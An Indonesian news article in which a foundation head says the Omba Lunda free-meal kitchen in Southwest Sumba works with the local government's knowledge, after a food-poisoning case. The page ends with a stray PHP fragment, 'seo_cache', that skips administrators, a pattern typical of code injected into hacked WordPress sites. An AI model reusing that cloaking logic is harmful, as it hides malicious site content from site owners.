Kesehatan

Pimpinan Yayasan Ronita Peduli Sosial, Anita Mahenu : Dapur Sehat Omba Lunda Beroperasi Atas Sepengetahuan Pemda SBD

×

Pimpinan Yayasan Ronita Peduli Sosial, Anita Mahenu : Dapur Sehat Omba Lunda Beroperasi Atas Sepengetahuan Pemda SBD

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Pimpinan Yayasan Ronita Peduli Sosial, Anita Nidya Mahenu menegaskan, kegiatan Makan Bergizi Gratis (MBG) yang dikelola Satuan Pelayanan Pemenuhan Gizi (SPPG) Dapur Sehat Omba Lunda sudah dikoordinasikan dengan Pemda SBD.

Hal itu disampaikan Anita, Rabu (30/07/2025) saat ditanya awak media menanggapi pernyataan Bupati SBD, Ratu Ngadu Bonu Wulla beberapa waktu di RS Karitas Waitabula.

Launching kegiatan MBG pada salah satu Posyandu oleh Bupati SBD yang dihadiri Ketua Yayasan Ronita Peduli Sosial, Anita Mahenu. ( Istimewa )

Ketika itu Bupati SBD sedang menjenguk sejumlah siswa SLA yang dirawat di RS Karitas Waitabula karena keracunan makanan.

Saat diwawancara wartawan, Bupati Ratu Wulla menyebut jika pihaknya belum mengetahui siapa yang mengadakan (pengelola) MBG tersebut.

“Ya, sepemahaman saya, dapur ini bisa beroperasi pastinya harus ada koordinasi dengan pemerintah setempat. Itu dilakukan oleh Kepala Satuan Pelayanan Pemenuhan Gizi di situ,” terang Anita.

Ia bahkan berkisah jika pernah terlibat dalam kegiatan launching pelayanan MBG untuk anak Posyandu di SBD.

“Kebetulan di situ yayasan hadir karena diundang, dan juga kepala daerah. Saya ketemu dengan Bupati. Kita launching kegiatan MBG saat itu di (salah satu) Posyandu,” ungkapnya.

Kendati demikian dirinya tidak mengetahui pemberitaan media terkait hal itu.

Ia mengaku sampai saat ini belum melihat atau berita yang dimaksudkan.

“Maksudnya saya belum lihat persis itu berita, saya belum tahu, tapi kalau koordinasi saya yakin sudah dilakukan, karena ini program pemerintah pusat yang dijalankan di kabupaten,” tuturnya.

Adalah sesuatu yang salah jika pelaksana kegiatan MBG tidak melaporkannya kepada pemerintah daerah dalam hal ini bupati.

Menurut dia, kemungkinan bupati berpikir bahwa sudah ada dapur baru yang beroperasi sehingga berhati-hati membuat statement ke media.

“Mungkin Ibu Bupati berpikir bahwa sudah ada dapur lagi yang running. Karena kadang begini, dalam satu dapur itu kan tidak semua sekolah penerima manfaat pemerintah harus hafal. Ya kan, mungkin kayak gitu,” timpal Anita.

Lebih lanjut ia menjelaskan, tidak saja bupati, gubernur sendiri sudah berkunjung ke dapur tersebut.

Bahkan saat mengunjungi dapur ini Gubernur NTT, Emanuel Melkiades Laka Lena sempat melontarkan apresiasi.

“Dalam kunjungannya kali lalu Pak Gubernur masih mampir menengok dan mengatakan jika dapur kita termasuk salah satu yang terbaik dan higienes,” ujarnya.

Bahkan dalam sebuah video yang diperlihatkan Anita Mahenu, Gubernur Laka Lena melontarkan pujian dan mengatakan bahwa selama berkeliling di NTT hanya Dapur Sehat Omba Lunda yang ia dapati sebagai yang terbaik.

“Dapur ini menjadi contoh bagi siapa saja yang ingin mengelola dapur untuk program Makan Bergizi Gratis,” tandas gubernur dalam video itu. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>